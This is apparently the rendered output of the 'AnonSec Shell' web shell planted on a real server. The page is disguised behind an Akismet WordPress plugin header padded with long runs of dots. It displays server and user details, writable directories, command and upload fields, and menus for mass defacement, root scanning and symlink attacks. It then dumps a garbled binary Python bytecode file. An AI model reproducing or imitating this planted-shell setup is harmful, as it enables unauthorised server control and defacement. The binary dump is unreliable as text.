#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/healinglib.pyo
�
L��ec@`s�ddlmZmZmZddlZddlZddlmZddlm	Z	ddlm
Z
ddlmZej
e�Zde	jfd��YZd	efd
��YZdS(i(tprint_functiontdivisiontabsolute_importN(tcertificate(tcertlib(t
entcertlib(t	injectiontHealingActionInvokercB`seZdZd�ZRS(s�
    An object used to run healing nightly. Checks cert validity for today, heals
    if necessary, then checks for 24 hours from now, so we theoretically will
    never have invalid certificats if subscriptions are available.

    NOTE: We may update entitlement status in this class, but we do not
          update entitlement certs, since we are inside a lock. So a
          EntCertActionInvoker.update() needs to follow a HealingActionInvoker.update()
    cC`st�}|j�S(N(tHealingUpdateActiontperform(tselftaction((sE/usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyt
_do_update)s	(t__name__t
__module__t__doc__R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyRs	RcB`s eZdZd�Zd�ZRS(s5UpdateAction for ent cert healing.

    Core if entitlement certificate healing.

    Asks RHSM API to calculate entitlement status today, and tomorrow.
    If either show incomplete entitlement, ask the RHSM API to
    auto attach pools to fix entitlement.

    Attemps to avoid gaps in entitlement coverage.

    Used by rhsmd and subscription-manager if the "autoheal" options
    are enabled.

    Returns an EntCertUpdateReport with information about any ent
    certs that were changed.

    Plugin hooks:
        pre_auto_attach
        post_auto_attach
    cC`sOtjtj�|_|jj�|_tj�|_tjtj	�|_
dS(N(tinjtrequiretCP_PROVIDERtcp_providertget_consumer_auth_cptuepRtEntCertUpdateReporttreporttPLUGIN_MANAGERtplugin_manager(R
((sE/usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyt__init__Csc
C`sktjtj�}|j}|jj|�}d|ksD|drUtjd�dSy�tjj	t
j��}|tjdd�}t
}t
}tjtj�}tj�}	|j�s&tjd|�|jjdd|�|jj||�}
|jjd	d|d
|
�|	j�|_n�t}|jdkrKtjd�n||jkr�tjd|�|jjdd|�|jj||�}
|jjd	d|d
|
�|	j�|_nt}d
}|r�|d|7}|r�|d|7}q�ntj|�WnDtk
rR}tjd�tj|�|jjj|�|jSXtjd�|jSdS(Ntautoheals'Auto-heal disabled on server, skipping.itdaysis(Found invalid entitlements for today: %stpre_auto_attacht
consumer_uuidtpost_auto_attachtentitlement_datas5Got valid status from server but no valid until date.s,Entitlements will be invalid by tomorrow: %ss5Entitlement auto healing was checked and entitlementss are valid today %ss and tomorrow %ssError attempting to auto-heal:sAuto-heal check complete.( RRtIDENTITYtuuidRtgetConsumertlogtwarntdatetimetnowRtGMTt	timedeltatFalsetCERT_SORTERRtEntCertActionInvokertis_validRtruntbindtupdateRtTruetcompliant_untiltNonetdebugt	Exceptionterrort	exceptiont_exceptionstappend(
R
tidentityR"tconsumerttodayttomorrowtvalid_todaytvalid_tomorrowtcstcert_updatertentstmsgte((sE/usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyR	Is\	
		


(R
RRRR	(((sE/usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyR.s	(t
__future__RRRR&tloggingtrhsmRtsubscription_managerRRRRt	getLoggerR
R$tBaseActionInvokerRtobjectR(((sE/usr/lib64/python2.7/site-packages/subscription_manager/healinglib.pyt<module>s

Anon7 - 2022
AnonSec Team